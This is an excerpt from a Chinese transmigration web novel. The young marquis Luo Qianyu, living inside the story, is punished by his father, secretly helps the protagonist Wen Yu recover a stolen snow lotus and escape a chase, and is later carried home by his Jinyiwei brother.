只是,原来闻钰并非离开,只是雕花阁外来了一人,因男女授受不亲,才侧过避开了身。
洛千俞一见到来人,内心有些意外。
……竟是方才堪堪献艺了两曲的柳儿。
一进雕花阁,柳儿手中拿着帕子,妆容未卸,只是摘了花冠,她目光先是掠过闻钰,空荡却一片狼藉的阁子,以及郁闷坐着的楼衔,又落在折扇遮面的小侯爷脸上。
短短一瞬,表情未变,却好像明白了雕花阁内发生的一切。
她莲步趋近,声音发颤,轻声道:“公子,戏台变故突生,奴家心下慌乱,有些担心……”
“想着楼上莫不是出了什么事?心急之下便上来了,可是打扰了公子?”
好家伙。
好一个‘唇如丹寇,美目流盼’,惹人怜爱的模样称得上浑然天成,怕不是世上任何男人见了,都会忍不住把美人抱入怀中,安抚慰籍。
但直男洛千俞不会。
“无碍。”他淡淡道。
时机有些巧,洛千俞微微思忖,越发觉得眼前这场景微妙,视线扫过雕花阁此刻仅剩的四人,很快反应过来。
哦豁,这个雕花阁此刻竟聚齐了原著中的三个买股攻!!
小小雕花阁,表面上一派和谐,实则暗潮汹涌。
如此历史性的一幕,不合
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个影都可惜了。
他们三人作为买股攻,虽然这时候都还没什么戏份,但看着楼衔直愣愣的样子,自从全松乘下楼唱曲,楼衔折返回来后,便开始几乎毫不掩饰般紧紧盯着闻钰,人家要走的时候还激动异常……怕是这时候就已经看上了。
这柳儿也是。早不上来晚不上来,偏偏等着美人受化险为夷,身心最脆弱的时候凑上来刷存在感?实乃心机。
洛千俞轻咳一声,忽然生了逗弄之心,“柳儿姑娘,这下可想再捏捏公子的手了?”
买股攻之间竞争激烈,第一印象尤其重要,当着你一见钟情的心上人的面,看你要怎么答?
柳儿明显一愣,继而垂下眼帘,“若是公子应允,奴家……自然是想的。”
洛千俞心里轻轻冷笑一声,这柳儿姑娘,全身上下只剩嘴最硬了。
“哦?”小侯爷轻摇折扇,继续扮着他的纨绔人设,“今有佥事唱戏,又有佳人相伴,实乃快事,为何不允?”
“……”柳儿这次没说话。
洛千俞再抬眼时,却见那柳儿朝他走了过来。
洛千俞:“?”
因着拿了折扇,便只剩了一只手,微热的触感覆上来时,洛千俞差点萌生出把人踹开的冲动,硬生生忍住了。
啊啊叫他嘴欠!!!
虽只给了一只手,那柔软的指腹挨上掌心,洛千俞侧开了眼,微抿住唇,倒没那么难以接受。只是接着,却是被上上下下左左右右都细细捏了一遍。洛千俞颈背一僵,霎时起了一身鸡皮疙瘩。
草,此公子非彼公子!
洛千俞抽出手时,眉梢微蹙,咻得把手背在了身后,生怕这柳儿再逮到机会。
他皮肉嫩,对方虽然没留指甲,这下竟是红了,留了些许淡淡印记,尤其指腹与掌心。
隐隐感觉这柳儿似乎是在趁机报复方才敬酒时自己嫌弃她又抽开手的事,他暗忖,作为一个买股攻,还是心思深沉、隐忍负重的女装大佬攻,至于这么小心眼?
狗东西。
恰在此时,一小厮模样的人跑进雕花阁,衣着板正,急急唤了声“公子”。
楼衔率先认出来人,竟是小侯爷的贴身侍读,昭念。
只是这昭念平日酷爱念叨,小侯爷去风花雪月场基本不会把这人带在身边,甚至有时还要偷偷背着。没想到这侍读不仅来了摘仙楼,竟还找到了雕花阁来。
昭念满头大汗,顾不上行礼,只在小侯爷耳边附耳说了什么。
“什么?”小公子一愣,直接坐起了身:“当真?我爹如何知道的?”
昭念道:“事态紧急,公子先与我回府,回去路上与您细说。”
“好。”
楼衔刚要站起身追问,却发现昭念脚速飞快,已经带着小侯爷下楼直奔马车,他再折返一圈回来时,却发现那雕花阁也早已人去阁空,只剩下两名小二收拾着打碎的碗碟。
楼衔气得跳脚。
该死,他的鸟!!
-
城西,一处偏僻院落。
张郎中捻了捻胡须,放下妇人的手腕,面露喜色,“方才给夫人用针刺通了脉络,排了瘀血,这会儿热退了不少,想必夜里便能平稳下来。”
“多谢先生。”闻钰的声音响起。
“公子不必言谢。”张郎中连忙道:“比起闻老爷对老夫一家的恩情,区区小事,何足挂齿?老夫自当倾尽全力医好夫人。”
“只是……”张郎中终于是没忍住好奇心,指向闻钰肩头:“这胖鸟是怎么回事?”
“……”
小胖啾歪了下头,隐约察觉两人的注意力似乎落在它的身上,于是扑扇两下翅膀,红色尾羽轻轻垂下。
“不知来历。”闻钰停顿顷刻,实话实说,“从雕花阁出来便一直跟着了。”
谈起雕花阁发生的事,张郎中缓缓吐了口气,回忆起来依旧有惊无险,他感叹道:“说起雕花阁,多亏那神秘客出现的及时,制止了那嚣张跋扈的全松乘,老夫才得以及时赶回。”
“只是不知,那小公子明明做了好事,为何要以折扇遮面啊?”
闻钰微顿。
蓦然想起那神秘客的折扇上,小小的一行字:“金榜题名,一举高中。”
“……”
想起来时,才几乎不可闻般,低声笑了下。
张郎中一愣。
认识闻钰这么多年,他几乎是从半大的孩子看到现在,闻钰这孩子是清冷的、坚稳的、持重谨慎的,是尘沙中的一束清流。
却显少在少年的脸上瞥见一丝淡淡的笑来。
老郎中看愣了,问:“怎么了?”
闻钰:“没什么。”
夜幕低垂,墨色染透苍穹下的小院,枝叶轻颤,隐隐透进一丝斑驳月光来,他淡淡道:
“只是想起,”
“忘问他的名字。”
7.第 7 章
回府路上,洛千俞忙不迭问起,这才从昭念口中得知:今日下朝,侯爷却迟迟未归,等到日头都落了才回到侯府,脸色铁青,一进府就问那孽障去了哪儿,把人带到祠堂来!
当然,这孽障自然指的就是他。
好消息,原来并非摘仙楼他戏弄全松乘的事,想来也是,消息怎么可能传的那么快?
而坏消息是……这小侯爷还犯了别的事儿。
不久前,学堂之上。
小侯爷玩火折子,一把烧了国子监祭酒李大人的胡子。
黑色烧成焦色,直毛烫成卷毛,八字胡也变成了络腮胡。李祭酒卧薪尝胆,前两日未发难,特意等到早朝,联合工部侍郎杨迅,奏镇北侯治家不严、教子无方,连带着洛镇川负责的黄河防汛之事,一起在皇帝面前狠狠参了一本。
“……”
人怎么可以捅这么大篓子。
洛千俞忽然有点不想回家了。
原主砍树,穿书者烧屁股啊。
这哪是回府的路?这是通往火葬场的路!
于是,当小侯爷随着家丁赶到侯府祠堂,看到他爹沉默的宽厚背影,手里还隐隐握着根粗如儿臂的木杖时,扑通一声,无比丝滑地跪下了。
“是孩儿的错。”
“孩儿愿自领三十板子。”
“只是行刑前,求父亲准儿子咬住布条,莫让母亲听见孩儿的叫喊声,徒增伤心。”
“……”
“说的什么话?”洛镇川皱眉,把棍子放到一旁,训斥道:“谁说要对你动刑了?”
老侯爷站起身,随着视线下移,怒火也涌上胸膛:“你可知我叫你来祠堂,在洛家列祖列宗面前见个证,到底所谓何事?”
“知道。”
“你可认错?”
“认。”
……
洛侯吃软不吃硬,原著里表达的很明显了。这种时候认错服软才是正解,越当个犟种,越容易屁股开花。
可惜这也是原主亲身试验过几十次后的经验。
洛镇川只觉拳头敲在了棉花上,他想要的确实是这个认错态度,可这个结果又来的太快,令他既满意又不满意,又说不上哪里不对劲。若是按照以往,那棍子不是早就用上了?
他叹了口气,恨铁不成钢道:“你以为你和圣上那点幼时情谊,放在满朝文武百口公理正义重压弹劾之下,又算得上什么?”
“若非太傅亲王亲自下场,替洛家求了请,你以为你今日还能安然无恙跪在这儿?不将你拖进宫去,罚你三十廷杖都算圣上开恩!”
洛千俞额头碰到青石地砖,低声道:“父亲教训的是,孩儿不敢再犯。”
“……”老侯爷冷哼一声,这次却沉默了足有半柱香的时间,不知是在生气,还是在想词。
半晌过后,洛千俞听到头顶上的人沉声开口:
“罚跪五日。”
“就在列祖列宗面前反省,反省够了再上学!”说罢拂袖而去。
洛千俞痛定思痛地磕了个头:“儿子一定好好反省。”
洛千俞内心:老子不用上学了啊啊啊!
古代这书不是人念的,除去书本枯燥,晦涩难懂,课后任务繁重等诸多缺点外……古代课堂人数有限,不方便摸鱼卧倒,更重要的是早上起的比高考生还早。
老侯爷一走,便有下人轻轻将祠堂的门关上,门口留了两个小厮守着,估计只有送饭时才有人进来。
这样的日子最初还算轻松。
可渐渐的,小侯爷也开始有些吃不消了。
尽管在这期间,昭念给他送了护膝,热乎乎的烤红薯,甚至还有之前没看完的书和话本,就为了给他解闷,可是终日被困在这蒲团之上,对着一众牌位,身边是被吹得抖动的烛焰,夜里嗡嗡作响的窗沿纸,这几日不同人说话,每日醒来,只有吃饭,小憩,惊醒,小解,吃饭……
最可怕的是,没有手机。
罚跪到了第三日,洛千俞觉得自己有些崩溃了。
甚至到了这时,小侯爷都开始渴望上学了。
“今日宫里举办夜宴,邀重臣共乐。”昭念来送饭时,小声道:“侯爷怕是要晚归了。”
洛千俞终于打起精神:“也就是说,我爹两个时辰内都不会回来?”
昭念点点头。
两人交换眼神,心领神会,小侯爷连忙坐起身,跟着昭念打开后窗,从窗栏上拿过事先准备叠好的衣服,洛千俞三下五除二地换上,是昭念的衣服。
“少爷,只能去一个时辰。”昭念不放心地叮嘱。
洛千俞早已跳出窗外,声音远远地飘过来:“放心,我心里有数!”
-
"刚出锅的鳆鱼脍——"
“糖葫芦!又大又甜的糖葫芦—!”
“皮影戏开场喽!都来瞧一瞧看一看喽!”
入夜,街边吆喝声此起彼伏,正是繁乐街最热闹的时候。
洛千俞穿着昭念的衣服,发带规规矩矩绑着,看起来倒真像个俊秀侍读,只是外出时间有限,看什么都新奇。
他逛了半圈,买了些感兴趣的吃食,看了半晌的皮影戏、顶碗、吞刀吐火……想着待会儿再打包些碧玉糕回去,放在祠堂围炉边热热,夜里还能吃。
只是,刚行至一处街角尽头,却发现一处药铺前围了不少人,有人探头,有人啧着嘴惊呼,热闹的紧。
一生都爱凑热闹的中国人也停下了脚步。
“这可是千年雪莲!从西域弄来的稀罕物!”那掌柜缕着八字胡,小心翼翼揭开围布,引得众人纷纷探了脖子,“别说是京城,纵是放眼整个大熙,都只有这么一棵!”
“吃上这一棵,解百毒,治百病,是当之无愧的万能神药!”
洛千俞经常在各种小说里听到类似于灵芝、冷参、雪莲的万能药,不管什么奇毒异症,都能药到病除,垂死之人都能重获生命……但他穿的这书是否为架空还有待争议,所以真假难辨。
正当穿着侍读衣服的小侯爷准备离开时,却忽然听到一道淡淡的清冷声音:
“这雪莲,我要了。”
洛千俞脚步一顿。
这声音莫名耳熟。
转头看过去时,心中猜想也成了真,只见闻钰从围观的过客中走出,这一刻相信不仅是自己,在场所有人心中大概都会不由自主浮现出这个词——钟灵毓秀,仿若浑然之笔。
郎艳独绝,世间再无其二。
无他,只是…太过好看了。
那掌柜一看来人面相不凡,心中虽不敢怠慢,但仍有些怀疑,他才刚把这雪莲拿出来,没怎么造势吆喝,便这么快有了买主,这价钱能合适吗?
若是与预期不符,还不如献到宫里去。
掌柜挑了挑眉,将雪莲往自己怀里收了收,狐疑道:“客官打算用多少金银元宝来换?还是银票?庄子店铺?我丑话说到前头,这千年雪莲可是……!”
话没说完,柜台上忽然放了一只玉佩。
“用这个。”那人道。
掌柜声音扬到一半戛然而止,有些尴尬,只好将信将疑拿过玉佩,心中想着,果然还是应该送进宫去。他拿过布帕,蹭了蹭外沿,对着油灯举起那么一瞧,顷刻,竟是轻轻吸了口气。
这成色,这质地……怕是宫里都难得一遇的珍品!
洛千俞看着这一幕,暗暗回想着书中剧情。
千年雪莲确实是顶好的药材,正如名字一样,雪山最高地长出的药莲,千年一遇,极为珍贵。对闻钰母亲来说也的确对症下药,闻钰不惜用祖传玉佩换来这药,也合乎常理,殊不知此番却将他拉入了更为晦暗的地狱。
那千年雪莲虽十分珍贵,却不能与川乌同煎,两者药性相克,若是一同服下,毒性极强。
而闻钰母亲原有的药方里,便有‘川乌’一项。
原本是最有益的补品,却也成了催命的毒药。
当然,这是拥有上帝视角的洛千俞才知道的事。后来的闻钰,不仅在重燃希望之刻失去亲母,最珍视的传家玉佩也彻底没了下落。自此他孤身一人,本该离开京城,却不幸卷入了买股攻们强取豪夺、虐身虐心的深渊浪潮,此生再无安宁。
而这一切剧情,却只为突显美人的悲惨身世,立好‘美强惨’人设,后面炖肉也就更香更带感。
洛千俞拳头硬了。
这是什么狗屁?
那厢药馆掌柜确认好玉佩的成色,乐得合不拢嘴,态度不由得恭敬下来,“快,快,将那雪莲拿来,帮贵客包好!”连忙吆喝下人帮忙装好鎏金盒子,用细布从外圈细细包好,卷成了包袱的模样。
洛千俞此番虽换了装扮,看上去不那么显眼,但也没打算在闻钰面前露面。他打算悄悄告诉掌柜,给雪莲后叮嘱这位客官一句,别和川乌一起喝下去就行。
谁知,就当洛千俞向前一步,那小二拿好包袱,跨过案台伸手递给掌柜时,耳边却忽的擦过一阵疾速风声。
下一秒,一颗锐石状深色暗器便打中了掌柜的手背。
掌柜疼得哀嚎一声,一秒便见了血,包袱随之脱手。
不知一旁暗中站立多久的人戴着黑色面围,仅是一瞬便截了去,人们反应过来时,那人已消失在客栈之中。
“贼!有贼!!偷东西了!!”
掌柜捂着手背,慌忙指着那贼人背影,急得跳脚,喊道:“抓贼啊!那雪莲可是千年一遇的宝贝!”
接着,朝小二使了个眼色,小二心领神会,立刻把那枚玉佩收了起来。
客栈同时消失的,还有紧追而去的闻钰。
洛千俞叹了口气。
这贼人是个插曲,虽然后续没揭晓是谁,但闻钰确实成功夺回了雪莲,夺回的位置貌似是在……明焰阁。
那便是东南方向。
洛千俞出了药材铺,那小贼早已没了踪影,大概率是会些轻功的,此刻已经逃到了房檐之上,隐匿起来。
洛千俞直奔近道,趁着闻钰和那小贼在房檐上追逐迂回的功夫,他直奔明焰阁而去。
小贼熟悉地形,外加轻功练得好,兜兜转转好半天,还真成功甩开了闻钰,结果刚放松警惕没一会儿,就折在了明焰阁。
所以洛千俞并不着急,到了明焰阁,竟径直走进了店铺内,小二迎上来时,随口问:“有火折子吗?”
“有,当然有!”小二笑道,“客官还有什么需要的?”
洛千俞沉吟了几秒,脱口而出:“艾草。”
“好嘞!客官稍等。”
洛千俞拿到东西刚要离开时,小二连忙提醒:“客官,用时需小心,这艾草若是被火折子点燃,烟雾极大,那烟能迷
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得人睁不开眼,可遭罪了。”
“嗯。”洛千俞应了声:“我会小心。”
洛千俞不会轻功,更不会飞檐走壁,只能用最原始的方式,顺着旁边楼阁的木梯爬上了房顶。
可刚上来他就后悔了。古代楼顶青瓦层叠,陡峭不平,走起来相当费劲儿,角度倾斜,一不留神还容易栽下去,磕个头破血流。
洛千俞只好专注下来,静听着风声中传来的脚步,忽然,他捕捉到一丝动静,就在身后不远处,正朝这边来!
洛千俞背靠在正脊之后,紧挨着另一处房梁,方便藏身,他用火折子引燃了艾草,脚步声就在耳边时,艾草也随之甩了出去。
艾草燃烧极快,烟雾也在一瞬间升腾而出,顷刻间便迷了来人的双眼。
小贼闷哼一声,竟没用手去揉,而是直接抽出了腰侧的小刀,凭直觉划去。
只是这一刀竟划空,一处影刃长物却朝面门袭来。
下意识想躲,却被狠狠敲在了脑门上。
那声音沉而重,洛千俞都听得愣了下,手中这把折扇都沉甸了些许,扇骨貌似为金属所制,收拢时硬如短棍,仅仅一下,便敲得人眼冒金花。
这折扇乃是几年前的御赐之物,没想到还有这种功效。
那人被敲得懵了神,慌乱之间,下意识扬手一挥,洛千俞这次躲闪不急,被小刀勾断了发带,发丝散落而下。
只是趁着出刀这一瞬,洛千俞没敢后撤,将折扇换了只手,指腹压紧扇柄。
这一下直捣喉咙。
这次卯足了劲,声音比上次更加沉闷。
小贼瞳孔一缩,血丝蔓延开来。他近乎干呕,却没吐出任何东西,不仅眼前阵阵发黑,手脚无力,小刀差点脱了手,他费力喘着气,后退一步,哽咽道:“你、你究竟是何方高手?要这雪莲何用?!”
洛千俞心中一讪,莫名有点心虚,哪里是什么高手,只是趁你迷了眼睛,痛击你的一侧颈动脉窦罢了。
他没回答,那么多小说电视剧血与泪的教训——反派死于话多,能动手,绝不能多哔哔。
洛千俞倏得展开了扇面,夹着风声,短棍顷刻间又化作一页利刃,扫向那人的腰部。
小贼不敢怠慢,纵容神智模糊,也竭力朝后一撤。
只是,怀中的包袱却被扫断了拉手,断成了两截,从他怀中掉落下来。
小贼视野受阻,刚要去捡,前面又有秘器步步相逼,却不想右脚踩塌了一处青瓦,重力在那一瞬倾覆,他惊呼一声,猝不及防带着两块青瓦栽倒下去。
洛千俞拿过包袱,踩着屋顶边缘,小心翼翼探出头。
那贼人小刀脱落在手边,紧皱着眉,竟是摔晕了过去。
洛千俞怀疑这个时候闻钰随时会赶到,事不迟疑,他拿过那装着雪莲的包袱,捡了根树枝,沾了燃尽的折灰,在上面写了几个字:
——“忌与川乌同煎。”
虽然字迹歪歪扭扭,但看懂完全没问题。
洛千俞甚是满意,接着抬手一扬,将包袱准准扔到那摔晕过去的小贼身上。
果然,没等上十余秒,闻钰也闻声赶到。
只是,看到地上已然昏死的贼人,滚落在地的小刀,以及小贼胸膛上严严实实、却题了字的包袱,小美人显然一愣。
千年雪莲物归原主,而那迷了眼的小贼捉拿归案,用药说明书也及时补充,洛千俞想,他也该回府了。
谁知就在此时,檐上忽然起了风。
风一吹,他放在房檐青瓦缝隙的折扇竟在此时缓缓下滑,正从房沿边落下,洛千俞心头一紧,连忙伸手拿住,却堪堪勾住边缘。
这若是掉下去,让闻钰看到了,便知道上次戏楼出手的人也是他了!
只是,他勾住了扇子一头,另一头却不堪重力,金色扇面倏然展开,只闻折扇随风舒展的声音。
哗的一声,清风作响。
闻钰也听到了这声音,视线竟朝上看了过来。
洛千俞心道不好。
折扇上有那一行字——金榜题名,一举高中。
也不知如此昏暗的光线,以及这个距离下,对方有没有看清……或是认出他是前几日在摘仙楼,那忽然出现又消失的神秘客。
恰在此时,那贼人也醒了。
小贼视线逐渐清晰之时,竟看到闻钰就在眼前,小刀被踢的老远,雪莲也彻底失了手。他惊得浑身一震,撑起身转头就跑。
洛千俞一愣,霎时松了口气。
他知道此地不宜久留,趁着闻钰追这小贼的空挡,他正好方便跑路……
洛千俞收起折扇,默默转过身,朝相反方向开溜,只是没等走出几步,却忽听身后传来一丝动静。
洛千俞下意识朝后看去。
不回头则已,这一回头,连心跳都飞出了几丈。
——闻钰竟倏然一跃,跳上了他所在的房檐!
洛千俞心下涌上一股莫名的预感,让他警铃大作,未作犹豫,来不及绑上发带,行动先于大脑,提腿就跑。
草。
不会吧。
这怎么回事!?
难不成……闻钰是奔着他来的?
洛千俞心跳如打鼓,彻底慌了阵脚,空气微凉,只听到耳畔擦过的轻轻风声。
追我干什么?追他啊!!
8.第 8 章
洛千俞确认了。
或许先前还能自我欺骗,闻钰跳上屋檐只是为了抢占视野,方便抓那小贼。
可是,在他拐过一弯檐角,身后的风声竟紧随其后。
而眼看那小贼越跑越远,已然彻底没了踪影,闻钰还丝毫无动于衷的模样后……洛千俞彻底绝望了。
对方目标明确,就是奔他来的!
洛千俞真佩服自己在这种情况下还有暇余思考,他暗忖,闻钰忽然改变主意,一反常态,是从看到了那把展开的折扇开始?
……闻钰看清了那几个字。
他已经知道自己就是摘仙楼出手的神秘客!
洛千俞心跳飞快,实在想不通,放着扔到眼前的贼人不抓,竟直奔他这个无辜的过路恩公来,就算追到他,又能做什么!?
洛千俞记得自己上来时有个木梯,就在明焰阁隔壁,如今错过了那个房檐,又不能原路返回,只得硬着头皮伺机另寻出路。
闻钰身手极好,在原书中是众所周知的。玉灵剑在手,袖中锋芒藏,脚步落地时都极为轻盈,却也压迫感十足。
洛千俞掐着距离,发现竟愈来愈近,只怪这副身子太不争气,平日明显缺乏体育锻炼,养尊处优矜贵的主儿,这才跑出多远,喘息竟都开始乱了。
洛千俞见弯就拐,房檐离得近,竟也稳住了身形,但几番折腾下来,仍觉心惊肉跳,开始懊悔何必趟下这趟浑水,越想越憋屈。
做好事不留名,却不想平白惹了场激烈追逐战来,小侯爷暗骂,你们闻家的事,小爷以后是再也不管了!
拐到明焰阁背侧的楼檐,下方的道路逐渐宽敞起来,尽管沿着屋檐走,却没了弯弯绕绕,洛千俞心道不好,此处房檐陡峭,不仅不好拐弯,还不好刹停!
这时,忽有一队人马自远处集市而来,约莫八九人。
他们一袭深邃黑色飞鱼服,胸襟绣着金色飞鱼,衣尾随风摆动猎猎作响,火焰般跳跃。马蹄踏过青石板路,如夜下鹰隼疾驰而来。雕刻着云龙刀柄的绣春刀挂于腰侧,好不威风。
恰在此时,洛千俞踩了空瓦,从那陡峭房檐跌落。
伴随一阵风声,他没径直摔倒在地上,却落在了那为首之人怀中。
那人在那一瞬勒了绳,马匹扬起前腿嘶鸣了一声,稳稳停下。
身后一行人明显吓了一跳,纷纷跟着勒了马。
“何人?!”
“竟是从天而降的书生?”
“大胆!竟敢擅扰锦衣卫夜巡?报上名来!”
……
他竟遇到了夜巡的锦衣卫队伍?
洛千俞想起,自己出门穿的是昭念的衣服,这个朝代侍读的长袍束带与书生有八九分相似,难怪这群锦衣卫将他唤作书生。
等稍微看清了这书生相貌,几人的神色微微一怔。仅是片刻之间,紧蹙的眉梢竟染上了些许微妙,再开口时,语气明显带了丝暧昧,攥起马辔稳住身形,调笑起来:
“等等,哪里来的投怀送抱的小美人?”
“急匆匆往千户大人怀里钻,怕是自荐枕席来暖床的。”
“从房顶跌落,发髻散乱,衣冠不严,怕不是哪家刚逃出来的飞天小贼,带回去,爷几个好好审一审!”
越听越离谱,这群锦衣卫冒犯之意几乎毫不掩饰,洛千俞一怔,却是捕捉到了关键信息,接住自己的这匹马上的人是千户,莫非……
“睁开你们的狗眼看清楚,小爷是谁!”
洛千俞坐直了身,压紧声音,沉声呵斥。
为首的千户声音明显一顿,“……兄长?”
兄长?
……
千户大人名叫洛十府,洛家排行老四,侯府上头的兄长还有两位,一个随了老侯爷,兵鲁子的性情和长相,而这另一个,是出了名的好相貌,混迹风月的浪荡纨绔。
几个手下对视,纷纷惊出一身冷汗,心叫大事不好,迅速翻身下马,行了大礼:“卑职昏聩,方才猪油蒙了心,有眼无珠冒犯了贵人,实乃罪该万死。”
洛千俞没功夫和这几人周旋,于是冷哼一声。
“昏聩?那便好好清醒清醒。”
“在这儿跪着,跪到明日辰时,正好不耽误次日公务。”小侯爷从千户大人的肩膀处探出头,冷声道:“你们有功夫审人,自然是有时间跪着的。”
几名锦衣卫脊背发凉,俯首道:“是,卑职遵命。”
洛千俞勒紧缰绳,递给那人人敬畏的千户大人,“送我回府。”
马匹动身,眼看着那幢楼檐愈来愈远,洛千俞才安下心来。
……差点就被主角受扒了马甲。
小侯爷有意掩着相貌,外加没有发带束发,发梢散下,实在有些狼狈,没法见人,这番便不再动了,老老实实藏在那人颈怀,旁的回府再说。
只是,他微微一动,却无意嗅到了洛十府身上掩不去的血腥味。
原主平日对这个四弟弟颇为不善,无论相貌、性格,哪哪儿看着都不顺眼。等长得稍微大些,却得知这便宜弟弟竟不是侯府血脉,而是当年与乡下人家抱错的孩子之后,小侯爷态度更是愈发恶劣。
后来,洛十府依旧被留在侯府,却进了锦衣卫,不知是自身能力强,还是侯府背后提携,这两年升的极快,如今已经是鼎鼎大名的千户大人。
殊不知,随着后续剧情中各个买股攻陆续出场,小侯爷无意中却得知,他那个最瞧不上的四弟洛十府竟也对闻钰也有那个心思,更是气不可遏!
而读者们最爱这种兄弟相争,甚至为了主角受大打出手的狗血修罗场。
他知道洛十府这些年忍辱负重,卧薪尝胆,如今负责诏狱之事,做着令世人鄙夷的脏活,回府时,怕家中忌讳嫌弃,经常会换身干净衣服,腾了香,洗净那股血腥味,自己才准他接近说话。
看来今日事发突然,对方还没来得及处理。
洛十府明显也察觉到了兄长
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的排斥,略显僵硬,朝后靠了靠,却听见怀中人咬牙:“洛十府,你再动一个试试?”
洛十府抿了抿唇,不再动了。
只是,怀中人发丝随风吹散,偶有几根撩过脖颈,蹭着咽喉,生出些许痒意。
那股淡淡的香气也被自己身上血腥冲散覆盖。
街市离侯府不算太远,即使距离超出了明焰阁,有无敌马腿加持,两人很快赶回了侯府,从角门偷溜进去。
从下人口中得知,侯爷还没回来,洛千俞这才松了口气。
先前待着腻味的祠堂此刻也变顺眼了,比起被闻钰扒马甲的惊心动魄,他宁可在祠堂多罚几日,也比摔下屋檐来的安全。
说起摔下屋檐……
洛千俞脱了昭念的外袍,想起今夜的插曲,随口问道,“我今日罚了你的手下,你可心疼?”
“他们不知深浅,冒犯了兄长,罚跪已算仁慈宽恕。”洛十府将叠好的衣服递过去,手里握着垂下的束带,表情称得上平静:“有何心疼?”
当着千户大人的面,越过你罚了你的手下,虽然罚跪的是他们,却等于是驳了你的面子。
这四弟弟,心里说不定如何记恨着他这个兄长,恨不得杀之而后快,面上却不能表现出来,倒像个忍辱负重的良家媳妇儿。
“哼,上梁不正下梁歪。”洛千俞任由对方帮他系上了束带,本是逗弄的心思,想起方才那一幕,心中却也莫名生出丝愠气,冷冷道,“早有听闻,这群锦衣卫平日嚣张跋扈,欺侮良民,今日一见更是名不虚传,话没说上三句,随随便便就要把人拎回去审,满口污言秽语,想必是他们的千户大人平日做了表率。”
洛十府权当没听着似的,半跪在洛千俞身后,取下自己的黑色发带,咬在唇畔,替跪在蒲团上的小侯爷挽起头发,一圈圈地缠上,绑好。
“阿兄,你的发带呢?”
“发带?”
“是,你喜欢的红色那条。”
洛千俞心下一沉。
一想也是,他利利落落出门,却散了发丝回来,遇到洛十府那会儿更是从天而降,穿着侍读衣服,直直跌进人家怀里,行踪的确相当可疑。
但好在原书中兄弟俩关系欠佳,日后又诸多纠葛,以小侯爷的性子,根本不屑与这个不亲的四弟解释前因后果,而洛十府也算识趣,这一路都没敢追问。
纵是给他十个胆子,也不可能偷偷告诉他爹。
“许是掉在哪儿。”
洛千俞装作不甚在意,垂下眸,道:“丢便丢了罢。”
*
闻钰站在窗檐边,停住了脚步。
夜幕如绸,暗淡幽深,飞檐斗拱的轮廓被月色勾勒,影影绰绰,罚跪的锦衣卫垂丧着脸,互相低声埋怨着,却没发觉檐上有人。
闻钰手里握着红色发带,夜风吹拂,微微扬起。
许久,那抹艳丽的红缠在了他的手腕上。
一圈一圈,又打了个结。
9.第 9 章
小侯爷没能罚上五日。
听闻自己跪了三日,他母亲孙夫人便哭闹了三日,老侯爷不堪其扰,外加心软,便允下人将小侯爷扶出祠堂,回了主屋。
洛千俞暗暗想,已经是第二次了。
这是他偶遇主角受,出手相助的第二次。
虽说原书故事三分之二都离不开这繁华京城,但偶遇绝非易事,巧合至此,算不算是冤家路窄的程度了?
“怎的消瘦了一大圈?…我儿这三日,受了好些苦!”孙氏红着眼睛,命丫鬟呈来一碗热姜汤,她小心端过,催着洛千俞趁热喝了大半,驱逐寒气。
她揉着小侯爷肩头的狐裘毛领,安抚似的向下搓搓肱臂,帕子拭去他额角细汗,心疼的要命,“乖乖,东郎桥外的鼓楼集市后日便开了,你不是一直惦记着想去?这几日趁着学堂告了假,尽兴玩玩才是。”
洛千俞微怔。
蓦然想起,他母亲所说的这鼓楼夜市,便是东郎桥的那场灯会?这便是鼎鼎有名、意气风发的小侯爷骑马闯夜市,在原书中的第一次正式登场!
这天……终究是要来了?
楼檐上差点暴露马甲的惊心动魄仍然心有余悸,这才过去多久,又要和闻钰碰面了?
小侯爷咽了口姜汤,呛得满脸通红,掩饰着轻咳了一声:“……不急。”
不急,因为他根本没打算去。
好在先前未雨绸缪,早在摘仙楼时便叮嘱过楼衔,不许送自己任何礼物。人不去夜市,烈马也没了着落,避开所有登场条件,如同卸去心头一大包袱,小侯爷心情大好。
-
尽管罚跪期间没少偷懒,还偷溜出去小半日,但洛千俞还是崩溃地发现……他膝盖状况有些惨烈。
虽不影响日常走路,但小侯爷觉着太过娇气,不愿让人瞧见,便遣散了丫鬟下人,自己偷偷抹药。
谁知药膏敷了一半,却听小厮传信,楼家公子登门来访。
洛千俞嗖得收了竹罐。
刚欲赶客,楼衔却已经进了锦麟院,一副兴致冲冲的模样,说要拉他去个地方。
小侯爷暗忖,你中意的地方,除去勾栏瓦舍,戏院赌坊,不是酒肆茶楼,就是青楼楚馆?好啊,又拐着我不学好。
洛千俞斟酌须臾,心中暗想,再浪的没边,总比留在家中被孙夫人嘘寒问暖灌姜汤的好,于是不争气地披上外袍,上了楼衔马车。
“火折子那事儿,你爹可有罚你?怎么罚的?”一上车,楼衔立马急着追问,“这三日你闭门不出,学堂也没去,你家小厮不肯与我说,可教我担心死了……”
小侯爷一摸内衬,发现竟带了那把折扇,拿出来放在手心颠了颠,道:“不过是罚跪几日,担心什么?”
“自然是担心……”楼衔说到一半停住,叹了口气,低声道:“你总是这样,轻描淡写说的轻巧,身子怎么受得住?”
小侯爷噎了一下,只觉得这人大题小做肉麻兮兮,刚欲张口说些什么,恰在此时,马车忽然急刹。
巨大的惯性让车内的人差点稳不住身形。
“嘶…!”小侯爷轻声忍痛,受伤的膝盖磕到了车厢前壁,一声闷响。
楼衔眼疾手快,把人扶住,皱眉训斥:“混账东西!怎么赶的车?莽莽撞撞的,活腻味了不成!”
车夫声音明显慌乱:“回公子……前面是丞相的车马。”
丞相?
两人皆是一愣。
车轮滚动的吱呀声戛然而止。
洛千俞掀开半截车帘,首先入目的是两列身着黑色劲装、腰佩长刀的护卫。不愧是大阵仗,动辄四辆马车,最中间的那辆由两匹棕色骏马牵引,乌木车壁雕刻着精致云纹,月色之下,透出暗沉光泽。
想必这就是丞相所乘的那辆。
只是车帘锦缎厚重,无从看到车中之人。
先不论马车冲撞与否,对方是丞相,乃百官之首,于辈分还是礼数,两人都应下车行揖礼。
楼衔撇撇嘴,两人交换了眼色,便先后下了马车。洛千俞单腿着地,冲撞的惯性使得膝盖一疼。
小侯爷微微蹙眉,没吭声,不动声色地身体立直,双手合拢。
“丞相大人。”
话音方落,马车队伍后方的车厢忽的一震,里面的人像是听到了熟悉的声音,猛然掀开车帘!
“楼衔?!”
露出头的男人看清了楼家公子,面露惊愕。
楼衔微微挑眉,也看清车上之人,随即皱紧:“全松乘?”
倒真是个不速之客,真是冤家路窄!
